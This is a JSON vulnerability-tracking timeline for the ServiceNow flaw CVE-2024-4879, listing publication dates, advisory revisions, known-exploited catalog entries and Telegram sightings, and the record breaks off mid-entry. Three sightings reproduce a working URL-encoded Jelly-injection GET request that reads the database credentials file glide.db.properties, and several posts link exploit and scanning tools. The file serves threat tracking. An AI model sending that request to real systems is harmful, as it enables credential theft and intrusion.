{"metadata": {"vulnerability": "CVE-2024-4879", "count": 110, "kinds": {"milestone": 5, "sighting": 76, "kev": 11, "other": 18}}, "data": [{"timestamp": "2024-05-14T17:39:41.655Z", "date_only": false, "value": "2024-05-14T17:39:41.655Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2024-4879", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-07-10T16:16:39.926Z", "date_only": false, "value": "2024-07-10T16:16:39.926Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-4879", "field": "cveMetadata.datePublished"}, {"timestamp": "2024-07-10T17:15:12Z", "date_only": false, "value": "2024-07-10T17:15:12Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-355H-WPR8-M2QX", "record": "GHSA-355H-WPR8-M2QX", "field": "database_specific.nvd_published_at"}, {"timestamp": "2024-07-10T17:15:12.117Z", "date_only": false, "value": "2024-07-10T17:15:12.117", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-4879", "record": "FKIE_CVE-2024-4879", "field": "published"}, {"timestamp": "2024-07-10T18:32:17Z", "date_only": false, "value": "2024-07-10T18:32:17Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-355H-WPR8-M2QX", "record": "GHSA-355H-WPR8-M2QX", "field": "published"}, {"timestamp": "2024-07-10T19:43:19Z", "date_only": false, "value": "2024-07-10T19:43:19.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cvedetector/554", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "7efc4839-054f-42a5-941b-bf423e3171e7", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-4879 - ServiceNow has addressed an input validation vulne\", \n  \"Content\": \"CVE ID : CVE-2024-4879 \nPublished : July 10, 2024, 5:15 p.m. | 24\u00a0minutes ago \nDescription : ServiceNow has addressed an input validation vulnerability that was identified in Vancouver and Washington, D.C. Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform.\u00a0ServiceNow applied an update to hosted instances, and ServiceNow released the update to our partners and self-hosted customers. Listed below are the patches and hot fixes that address the vulnerability. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "url": "https://t.me/cvedetector/554"}, {"timestamp": "2024-07-10T22:00:00Z", "date_only": false, "value": "2024-07-10T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1588", "record": "WID-SEC-W-2024-1588", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2024-07-10T22:00:00Z", "date_only": false, "value": "2024-07-10T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1588", "record": "WID-SEC-W-2024-1588", "field": "document.tracking.initial_release_date"}, {"timestamp": "2024-07-10T22:00:00Z", "date_only": false, "value": "2024-07-10T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1588", "record": "WID-SEC-W-2024-1588", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2024-07-12T10:37:45Z", "date_only": false, "value": "2024-07-12T10:37:45.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7955", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "b01ef9ef-88d2-4142-a11b-04f09ca7f2d0", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow\nURL\uff1ahttps://github.com/Brut-Security/CVE-2024-4879\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7955"}, {"timestamp": "2024-07-12T13:05:22Z", "date_only": false, "value": "2024-07-12T13:05:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7958", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "74cb9149-87b1-4ba4-9cdc-cfa5e2f9b82f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aBulk scanning tool for ServiceNow CVE-2024-4879 vulnerability\nURL\uff1ahttps://github.com/bigb0x/CVE-2024-4879\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7958"}, {"timestamp": "2024-07-12T20:49:48Z", "date_only": false, "value": "2024-07-12T20:49:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/TheDarkWebInformer/1708", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "a23e463d-3077-47dd-99d5-a8c2da397e89", "content": "\ud83d\udea8PoC RELEASED\ud83d\udea8CVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow\n\nGitHub: https://github.com/Brut-Security/CVE-2024-4879\n\nhttps://darkwebinformer.com/poc-released-for-cve-2024-4879-jelly-template-injection-vulnerability-in-servicenow/", "url": "https://t.me/TheDarkWebInformer/1708"}, {"timestamp": "2024-07-13T08:11:16Z", "date_only": false, "value": "2024-07-13T08:11:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDilara/390", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "dd08a3fe-5db5-43e6-ab72-f13b20b85c79", "content": "PoC RELEASED: CVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow\n\nGitHub: https://github.com/Brut-Security/CVE-2024-4879", "url": "https://t.me/CyberDilara/390"}, {"timestamp": "2024-07-13T16:02:48Z", "date_only": false, "value": "2024-07-13T16:02:48.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/lostsec/781", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "821b3802-e896-4b79-b4a5-db79c78e16d4", "content": "CVE-2024-4879 | Jelly Template Injection Vulnerability in ServiceNow\n\nmass hunting soon..and sorry guys i uploaded many videos in yt  but i am waiting for bbp program to resolve that issue first bcz of there policy so just wait few days or weeks depend how fast they resolve..and also busy in some other things soon active..", "url": "https://t.me/lostsec/781"}, {"timestamp": "2024-07-14T11:15:13Z", "date_only": false, "value": "2024-07-14T11:15:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dilagrafie/3409", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "90eeb274-dfd1-41a0-b5b3-69e83bc9e93b", "content": "PoC RELEASED: CVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow\n\nGitHub: https://github.com/Brut-Security/CVE-2024-4879", "url": "https://t.me/dilagrafie/3409"}, {"timestamp": "2024-07-14T12:01:37Z", "date_only": false, "value": "2024-07-14T12:01:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GhostClanInt/25272", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "4bbf26c9-5351-4891-8394-c0d5700cf8aa", "content": "PoC RELEASED: CVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow\n\nGitHub: https://github.com/Brut-Security/CVE-2024-4879", "url": "https://t.me/GhostClanInt/25272"}, {"timestamp": "2024-07-14T17:12:40Z", "date_only": false, "value": "2024-07-14T17:12:40.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/1261", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "e2be8612-a92b-4af9-9073-d99e8a617edd", "content": "cve-2024-4879\n\nGET /login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/co..nf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E%22 HTTP/1.1\n\n#exploit #poc", "url": "https://t.me/realLulzSec/1261"}, {"timestamp": "2024-07-14T17:12:40Z", "date_only": false, "value": "2024-07-14T17:12:40.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/13055", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "e75155b0-95f0-46eb-91f8-295cf9e02593", "content": "cve-2024-4879\n\nGET /login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/co..nf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E%22 HTTP/1.1\n\n#exploit #poc", "url": "https://t.me/realLulzSec/13055"}, {"timestamp": "2024-07-14T18:00:42Z", "date_only": false, "value": "2024-07-14T18:00:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/2784", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "29e7eae7-dbb7-4f59-992f-75d3a361053f", "content": "cve-2024-4879\n\nGET /login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/co..nf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E%22 HTTP/1.1\n\n#exploit #poc", "url": "https://t.me/CNArsenal/2784"}, {"timestamp": "2024-07-16T00:00:00Z", "date_only": true, "value": "2024-07-16", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2024-32827", "record": "CNVD-2024-32827", "field": "submitTime"}, {"timestamp": "2024-07-16T04:35:18Z", "date_only": false, "value": "2024-07-16T04:35:18.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7995", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "e6cd0d76-155c-4051-8dc7-a59845370ac9", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit for CVE-2024-4879 affecting Vancouver, Washington DC Now and Utah Platform releases\nURL\uff1ahttps://github.com/Praison001/CVE-2024-4879-ServiceNow\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7995"}, {"timestamp": "2024-07-17T00:00:00Z", "date_only": true, "value": "2024-07-17", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2024-32827", "record": "CNVD-2024-32827", "field": "openTime"}, {"timestamp": "2024-07-17T22:00:00Z", "date_only": false, "value": "2024-07-17T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1588", "record": "WID-SEC-W-2024-1588", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2024-07-17T22:00:00Z", "date_only": false, "value": "2024-07-17T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1588", "record": "WID-SEC-W-2024-1588", "field": "document.tracking.current_release_date"}, {"timestamp": "2024-07-18T08:55:28Z", "date_only": false, "value": "2024-07-18T08:55:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDilara/425", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "49ffb482-04f7-4b35-8c7a-eac5b82b9d60", "content": "Tools - Hackers Factory \n\nBloodHoundAD/BARK: BloodHound Attack Research Kit''\n\nhttps://github.com/BloodHoundAD/BARK\n\nCreate yourself #exp of CVE-2024-4367: PDF.js\n\nhttps://github.com/rzte/pdf-exploit\n\nCVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\n''GitHub - erebe/wstunnel: Tunnel all your traffic over Websocket or HTTP2 - Bypass firewalls/DPI - Static binary available''\n\nhttps://github.com/erebe/wstunnel\n\nOctoberfest7/MemFiles: A CobaltStrike toolkit to write files produced by Beacon to memory instead of disk''\n\nhttps://github.com/Octoberfest7/MemFiles\n\nelastic/SWAT: Simple Workspace Attack Tool (SWAT) is a tool for simulating malicious behavior against Google Workspace in reference to the MITRE ATT&CK framework.''\n\nhttps://github.com/elastic/SWAT\n\npmatula/Windows-Internals-Learning-Resources\n\nhttps://github.com/pmatula/Windows-Internals-Learning-Resources\n\nIntegration-IT/Active-Directory-Exploitation-Cheat-Sheet: A cheat sheet that contains common enumeration and attack methods for Windows Active Directory.''\n\nhttps://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet\n\n0xEr3bus/RdpStrike: Positional Independent Code to extract clear text password from mstsc.exe using API Hooking via HWBP.''\n\nhttps://github.com/0xEr3bus/RdpStrike\n\nwh0amitz/SharpADWS: Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS).''\n\nhttps://github.com/wh0amitz/SharpADWS\n\nsrlabs/Certiception: An ADCS honeypot to catch attackers in your internal network.''\n\nhttps://github.com/srlabs/Certiception\n\nmertdas/SharpIncrease: A Tool that aims to evade av with binary padding''\n\nhttps://github.com/mertdas/SharpIncrease\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/CyberDilara/425"}, {"timestamp": "2024-07-18T08:56:28Z", "date_only": false, "value": "2024-07-18T08:56:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/6965", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "0cc8823c-d979-41a7-ac62-4a35830d5f57", "content": "Tools - Hackers Factory \n\nBloodHoundAD/BARK: BloodHound Attack Research Kit''\n\nhttps://github.com/BloodHoundAD/BARK\n\nCreate yourself #exp of CVE-2024-4367: PDF.js\n\nhttps://github.com/rzte/pdf-exploit\n\nCVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\n''GitHub - erebe/wstunnel: Tunnel all your traffic over Websocket or HTTP2 - Bypass firewalls/DPI - Static binary available''\n\nhttps://github.com/erebe/wstunnel\n\nOctoberfest7/MemFiles: A CobaltStrike toolkit to write files produced by Beacon to memory instead of disk''\n\nhttps://github.com/Octoberfest7/MemFiles\n\nelastic/SWAT: Simple Workspace Attack Tool (SWAT) is a tool for simulating malicious behavior against Google Workspace in reference to the MITRE ATT&CK framework.''\n\nhttps://github.com/elastic/SWAT\n\npmatula/Windows-Internals-Learning-Resources\n\nhttps://github.com/pmatula/Windows-Internals-Learning-Resources\n\nIntegration-IT/Active-Directory-Exploitation-Cheat-Sheet: A cheat sheet that contains common enumeration and attack methods for Windows Active Directory.''\n\nhttps://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet\n\n0xEr3bus/RdpStrike: Positional Independent Code to extract clear text password from mstsc.exe using API Hooking via HWBP.''\n\nhttps://github.com/0xEr3bus/RdpStrike\n\nwh0amitz/SharpADWS: Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS).''\n\nhttps://github.com/wh0amitz/SharpADWS\n\nsrlabs/Certiception: An ADCS honeypot to catch attackers in your internal network.''\n\nhttps://github.com/srlabs/Certiception\n\nmertdas/SharpIncrease: A Tool that aims to evade av with binary padding''\n\nhttps://github.com/mertdas/SharpIncrease\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/GrayHatsHack/6965"}, {"timestamp": "2024-07-18T08:56:28Z", "date_only": false, "value": "2024-07-18T08:56:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/8264", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "789831e0-d449-4433-b654-91df6fe8b19f", "content": "Tools - Hackers Factory \n\nBloodHoundAD/BARK: BloodHound Attack Research Kit''\n\nhttps://github.com/BloodHoundAD/BARK\n\nCreate yourself #exp of CVE-2024-4367: PDF.js\n\nhttps://github.com/rzte/pdf-exploit\n\nCVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\n''GitHub - erebe/wstunnel: Tunnel all your traffic over Websocket or HTTP2 - Bypass firewalls/DPI - Static binary available''\n\nhttps://github.com/erebe/wstunnel\n\nOctoberfest7/MemFiles: A CobaltStrike toolkit to write files produced by Beacon to memory instead of disk''\n\nhttps://github.com/Octoberfest7/MemFiles\n\nelastic/SWAT: Simple Workspace Attack Tool (SWAT) is a tool for simulating malicious behavior against Google Workspace in reference to the MITRE ATT&CK framework.''\n\nhttps://github.com/elastic/SWAT\n\npmatula/Windows-Internals-Learning-Resources\n\nhttps://github.com/pmatula/Windows-Internals-Learning-Resources\n\nIntegration-IT/Active-Directory-Exploitation-Cheat-Sheet: A cheat sheet that contains common enumeration and attack methods for Windows Active Directory.''\n\nhttps://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet\n\n0xEr3bus/RdpStrike: Positional Independent Code to extract clear text password from mstsc.exe using API Hooking via HWBP.''\n\nhttps://github.com/0xEr3bus/RdpStrike\n\nwh0amitz/SharpADWS: Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS).''\n\nhttps://github.com/wh0amitz/SharpADWS\n\nsrlabs/Certiception: An ADCS honeypot to catch attackers in your internal network.''\n\nhttps://github.com/srlabs/Certiception\n\nmertdas/SharpIncrease: A Tool that aims to evade av with binary padding''\n\nhttps://github.com/mertdas/SharpIncrease\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/GrayHatsHack/8264"}, {"timestamp": "2024-07-18T08:56:31Z", "date_only": false, "value": "2024-07-18T08:56:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dilagrafie/3440", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "1691c9d0-a3d6-405e-9cb0-dc5ca1220c3d", "content": "Tools - Hackers Factory \n\nBloodHoundAD/BARK: BloodHound Attack Research Kit''\n\nhttps://github.com/BloodHoundAD/BARK\n\nCreate yourself #exp of CVE-2024-4367: PDF.js\n\nhttps://github.com/rzte/pdf-exploit\n\nCVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\n''GitHub - erebe/wstunnel: Tunnel all your traffic over Websocket or HTTP2 - Bypass firewalls/DPI - Static binary available''\n\nhttps://github.com/erebe/wstunnel\n\nOctoberfest7/MemFiles: A CobaltStrike toolkit to write files produced by Beacon to memory instead of disk''\n\nhttps://github.com/Octoberfest7/MemFiles\n\nelastic/SWAT: Simple Workspace Attack Tool (SWAT) is a tool for simulating malicious behavior against Google Workspace in reference to the MITRE ATT&CK framework.''\n\nhttps://github.com/elastic/SWAT\n\npmatula/Windows-Internals-Learning-Resources\n\nhttps://github.com/pmatula/Windows-Internals-Learning-Resources\n\nIntegration-IT/Active-Directory-Exploitation-Cheat-Sheet: A cheat sheet that contains common enumeration and attack methods for Windows Active Directory.''\n\nhttps://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet\n\n0xEr3bus/RdpStrike: Positional Independent Code to extract clear text password from mstsc.exe using API Hooking via HWBP.''\n\nhttps://github.com/0xEr3bus/RdpStrike\n\nwh0amitz/SharpADWS: Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS).''\n\nhttps://github.com/wh0amitz/SharpADWS\n\nsrlabs/Certiception: An ADCS honeypot to catch attackers in your internal network.''\n\nhttps://github.com/srlabs/Certiception\n\nmertdas/SharpIncrease: A Tool that aims to evade av with binary padding''\n\nhttps://github.com/mertdas/SharpIncrease\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/dilagrafie/3440"}, {"timestamp": "2024-07-18T16:16:32Z", "date_only": false, "value": "2024-07-18T16:16:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GhostClanInt/25308", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "23f6bc87-7283-4168-8c7c-b818c505f8bd", "content": "Tools - Hackers Factory \n\nBloodHoundAD/BARK: BloodHound Attack Research Kit''\n\nhttps://github.com/BloodHoundAD/BARK\n\nCreate yourself #exp of CVE-2024-4367: PDF.js\n\nhttps://github.com/rzte/pdf-exploit\n\nCVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\n''GitHub - erebe/wstunnel: Tunnel all your traffic over Websocket or HTTP2 - Bypass firewalls/DPI - Static binary available''\n\nhttps://github.com/erebe/wstunnel\n\nOctoberfest7/MemFiles: A CobaltStrike toolkit to write files produced by Beacon to memory instead of disk''\n\nhttps://github.com/Octoberfest7/MemFiles\n\nelastic/SWAT: Simple Workspace Attack Tool (SWAT) is a tool for simulating malicious behavior against Google Workspace in reference to the MITRE ATT&CK framework.''\n\nhttps://github.com/elastic/SWAT\n\npmatula/Windows-Internals-Learning-Resources\n\nhttps://github.com/pmatula/Windows-Internals-Learning-Resources\n\nIntegration-IT/Active-Directory-Exploitation-Cheat-Sheet: A cheat sheet that contains common enumeration and attack methods for Windows Active Directory.''\n\nhttps://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet\n\n0xEr3bus/RdpStrike: Positional Independent Code to extract clear text password from mstsc.exe using API Hooking via HWBP.''\n\nhttps://github.com/0xEr3bus/RdpStrike\n\nwh0amitz/SharpADWS: Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS).''\n\nhttps://github.com/wh0amitz/SharpADWS\n\nsrlabs/Certiception: An ADCS honeypot to catch attackers in your internal network.''\n\nhttps://github.com/srlabs/Certiception\n\nmertdas/SharpIncrease: A Tool that aims to evade av with binary padding''\n\nhttps://github.com/mertdas/SharpIncrease\n\n#CyberDilara \nhttps://t.me/CyberDilara", "url": "https://t.me/GhostClanInt/25308"}, {"timestamp": "2024-07-27T20:58:34.478Z", "date_only": false, "value": "2024-07-27T20:58:34.478877Z", "kind": "sighting", "label": "Seen", "source": "https://vulnerability.circl.lu/bundle/0ed650b2-0845-4a5d-8164-a858acafffa8", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "cd627bd2-2144-4e4e-87d7-db322ca479bd", "url": "https://vulnerability.circl.lu/bundle/0ed650b2-0845-4a5d-8164-a858acafffa8"}, {"timestamp": "2024-07-28T06:57:10Z", "date_only": false, "value": "2024-07-28T06:57:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8102", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "20c6a7b7-8f4c-4345-aeb5-a33384f8f89b", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4879 & CVE-2024-5217 ServiceNow RCE Scanning & Shodan Dork to find it.\nURL\uff1ahttps://github.com/NoTsPepino/CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8102"}, {"timestamp": "2024-07-28T08:04:53Z", "date_only": false, "value": "2024-07-28T08:04:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8103", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "cf891948-f6de-49bb-919f-0844a47884c2", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2024-4879 & CVE-2024-5217 ServiceNow RCE Scanning Using Nuclei & Shodan Dork to find it.\nURL\uff1ahttps://github.com/Z3r0H0ur666/RCE-Hunter\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/8103"}, {"timestamp": "2024-07-28T09:36:45Z", "date_only": false, "value": "2024-07-28T09:36:45.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/breachdetector/580664", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "de5eb981-fc7d-4129-8cd1-980a93883cd7", "content": "{\n  \"Source\": \"https://leakbase.cc/\",\n  \"Content\": \"Cve-2024-4879 & Cve-2024-5217 Servicenow Rce Scanning\", \n  \"author\": \" (dealerseek)\",\n  \"Detection Date\": \"28 Jul 2024\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 t.me/breachdetector \ud83d\udd39", "url": "https://t.me/breachdetector/580664"}, {"timestamp": "2024-07-28T09:42:53Z", "date_only": false, "value": "2024-07-28T09:42:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8105", "record": "CVE-2024-4879", "field": "creation_timestamp", "uuid": "e5538739-c6e4-48e6-bdec-0d669b7a6bbe", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2024-4879 & CVE-2024-5217 ServiceNow RCE Scanning Using Nuclei & Shodan Dork to find it.\nURL\uff1ahttps://github.com/cc1a2b/PenHunter\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/8105"}, {"timestamp": "2024-07-29T00:00:00Z", "date_only": false, "value": "2024-07-29T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2024-4879", "field": "timestamps.asserted_at", "uuid": "4726d11a-f0ce-49f8-b652-feb00eb5eb0c", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-07-29T00:00:00Z", "date_only": false, "value": "2024-07-29T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2024-4879", "field": "timestamps.asserted_at", "uuid": "91ee8e99-f09f-4101-a4dc-0f5546d52a2d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-07-29T00:00:00Z", "date_only": true, "value": "2024-07-29", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-4879", "field": "containers.adp.0.metrics.1.other.content.dateAdded"}, {"timestamp": "2024-07-29T00:00:00Z", "date_only": false, "value": "2024-07-29T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2024-4879", "field": "evidence.0.details.added_date", "uuid": "91ee8e99-f09f-4101-a4dc-0f5546d52a2d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-07-29T00:00:00Z", "date_only": true, "value": "2024-07-29", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2024-4879", "field": "evidence.0.details.date_added", "uuid": "4726d11a-f0ce-49f8-b652-feb00eb5eb0c", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-07-29T00:00:00Z", "date_only": false, "value": "2024-07-29T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2024-4879", "field": "timestamps.first_seen_at", "uuid": "4726d11a-f0ce-49f8-b652-feb00eb5eb0c", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-07-29T00:00:00Z", "date_only": false, "value": "2024-07-29T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2024-4879", "field": "timestamps.first_seen_at", "uuid": "91ee8e99-f09f-4101-a4dc-0f5546d52a2d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-07-29T00:00:00Z", "date_only": false, "value": "2024-07-29T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2024-4879", "field": "status.status_updated_at", "uuid": "4726d11a-f0ce-49f8-b652-feb00eb5eb0c", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-07-29T00:00:00Z", "date_only": false, "value": "2024-07-29T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2024-4879", "field": "status.status_updated_at", "uuid": "91ee8e99-f09f-4101-a4dc-0f5546d52a2d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-07-29T00:00:00Z", "date_only": false, "value": "2024-07-29T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-4879", "field": "containers.adp.0.timeline.0.time"}, {"timestamp": "2024-07-29T18:10:03Z", "date_only": false, "value": "2024-07-29T18:10:03.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2024-4879", "field": 